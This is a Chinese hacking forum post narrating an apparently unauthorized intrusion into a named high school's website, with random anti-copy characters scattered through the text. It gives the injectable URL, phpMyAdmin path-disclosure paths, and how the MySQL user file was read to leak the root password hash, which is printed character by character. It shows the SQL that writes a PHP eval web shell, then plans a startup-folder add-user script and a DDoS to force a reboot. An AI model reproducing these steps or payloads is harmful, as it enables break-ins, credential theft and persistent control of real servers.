友情检测湖北省大治市第一中学

admin

第一眼看去，好像全是html静态的，都知道静态的根本不好日，多点击几个专栏
发现这个：http://www.dyyz.net.cn/celebrate/list.php?id=3  -0  -1 判断后确认存在注入！
' N8 \8 L- b* a3 n. C% w5 B

1 m" L1 `  `+ c
' U- ?; d) \5 H+ e常规手工不行，尝试突破也不行，利用穿山甲 可以注入：root权限

那么想可以直接写入shell ，getshell有几个条件：

1、知道站点物理路径

2、有足够大的权限

3、magic_quotes_gpc()=OFF

试着爆绝对路径：
1./phpMyAdmin/index.php?lang[]=1  
2./phpMyAdmin/phpinfo.php  
3./load_file()  
4./phpmyadmin/themes/darkblue_orange/layout.inc.php  
6 Z- u! ~  O, b3 K( q5 b5./phpmyadmin/libraries/select_lang.lib.php  
6./phpmyadmin/libraries/lect_lang.lib.php  
7./phpmyadmin/libraries/mcrypt.lib.php   
8./phpmyadmin/libraries/export/xls.php  
6 X5 r: i* r1 t# N# y; f# ^
9 T& w$ z' ]& X( o3 X- ~- u均不行...........................
7 X' j& C# t% ]' E2 [& X0 v. Q
- n6 H$ o5 S* v: n2 Q御剑扫到这个：http://www.dyyz.net.cn//phpinfo.php       获得网站路径：D:/www/phpinfo.php
& i  H0 a; U# I0 ?4 v9 v/ e8 S
权限为root，知道网站路径，可是条件3不符合，没法写入shell ，不过服务器存在phpmyadmin

, M: Z* M5 T- r; x, p+ f+ D  \默认不行，尝试万能密码：帐号 'localhost'@'@" 密码空 ，登录失败
1 V: n  e; l1 o$ H& k1 S4 x
$ j7 c2 p& z' v/ X5 V0 _敏感东西：http://202.103.49.66/Admincp.php  社工进不去...........

! ?) ]. F* S' i8 U; D想想root还可以读，读到root密码进phpmyadmin 也可以拿shell

http://www.dyyz.net.cn//phpinfo.php  泄露了D:\phpStudy\PHP5\php.ini

自己修改好读root密码的路径：D:\phpStudy\MySQL\Data\mysql\user.MYD

  T( b/ `6 p. `1 s& F6 k, ~4 _成功读到root密码：

17---- r(0072)
18---- o(006f)
19---- o(006f)
20---- t(0074)
- F5 ~; z) \7 i8 ~+ R* V7 `, q21---- *(002a)
22---- 8(0038)
+ m' Y: j4 J4 u" w9 k7 u6 @& x5 q$ [23---- 2(0032)
24---- E(0045)
25---- 1(0031)
9 C; [) N9 Y2 Z) a, N0 ]26---- C(0043)
27---- 5(0035)
9 t* V4 k2 z9 k# a/ A" U' ?# L& ?28---- 8(0038)
29---- 2(0032)
- C8 d1 {6 y; n% `0 U30---- 8(0038)
31---- A(0041)
/ u$ C0 U$ c! T32---- 9(0039)
  `7 W& @$ f$ S8 @+ P1 e, q, Y( d33---- B(0042)
" R2 B2 H8 B5 Q& y5 N7 w) ~34---- 5(0035)
35---- 4(0034)
36---- 8(0038)
, g3 J3 G, x$ F# I' r37---- 6(0036)
38---- 4(0034)
5 Y; T, V* p3 E, K. x39---- 9(0039)
40---- 1(0031)
4 e0 L6 a; [3 y1 i' {41---- 1(0031)
" A2 r( N  E. v4 x/ K1 A6 a; j; W42---- 5(0035)
43---- 3(0033)
44---- 5(0035)
45---- 9(0039)
46---- 8(0038)
/ w" Y2 ?  p3 O+ M. {7 n47---- F(0046)
  T5 P% W! i& \( N8 ^48---- F(0046)
. o5 u" s6 z4 z  v# ?$ R( N( i49---- 4(0034)
/ X  `$ y$ H7 g  N) n50---- F(0046)
3 C; Q) H' i9 u4 A# Q1 D5 d51---- 0(0030)
( K+ j9 M4 u  T* Y( K! E$ \4 v5 J) D$ p52---- 3(0033)
- _' w% C# K3 j) P0 H( V53---- 2(0032)
54---- A(0041)
, _9 R0 c, d& z: P9 @55---- 4(0034)
8 n+ U# g- g# q3 w$ ?56---- A(0041)
57---- B(0042)
4 Z' `! q) D9 v: Z( o( B58---- *(0044)
59---- *(0035)
60---- *(0041)
9 O6 X- G8 o# E; C% E61---- *0032)

! l1 F& ?+ f/ c, F8 I( V解密后成功登陆phpmyamin
( a; d* Q& Q5 k) e/ @4 }$ S2 c                          

4 i7 X- f& m1 y" U0 \% h1 o                             
. q. S% e: @) ]5 e9 q+ G9 d
" V2 d* G* U5 z: H  x找到mysql数据库，执行sql语句：elect '<?php @eval($_POST[pass]);?>'INTO OUTFILE 'd:/wamp/www/daxia.php'
# k; u* Y0 ^" S4 e3 |$ ^
* R* o6 ~0 w) |& ~5 P' F成功执行，拿下shell，菜刀连接：
7 r4 `  u9 J4 z, O: s$ B& {. q, w
2 ?( q& F0 e7 ?; q服务器不支持asp,aspx,php提权无果...................
, k. s2 Z( N; R# a- Y4 P$ }; F
但服务器权限很松，上传个远控小马或是一个添加用户的vbs程序到启动里：
. X; U5 D2 R' d  q: C6 h" Z

服务器上已经有个隐藏帐号了

# s, H# A- ]& J

别名     administrators
注释     管理员对计算机/域有不受限制的完全访问权

6 `6 G# M4 d0 Y( ^$ Z# d) ?3 S

成员

-------------------------------------------------------------------------------
$ ^: X/ t# k$ U. l4 I. Eadmin
! ^% {: l# I0 ~6 [Administrator
$ v9 _9 \; s! P: |! @slipper$
: P! C& j/ B) Asqluser
5 O3 l9 u5 D4 Z( n2 w. q命令成功完成。
# K3 n! u  l' {2 ?  @! O
服务器权限很松，上传个vbs添加用户的到启动，不要用bat，会开机的时候显示运行批处理的。

* [' ~3 O% }. S0 j7 P  C( cddos服务器重启，不然就只能坐等服务器重启了...............................
* I4 ?' y$ p' m) E3 u9 `
8 ~+ u% \! v+ {      

4 J. P" z$ N% f1 M

angel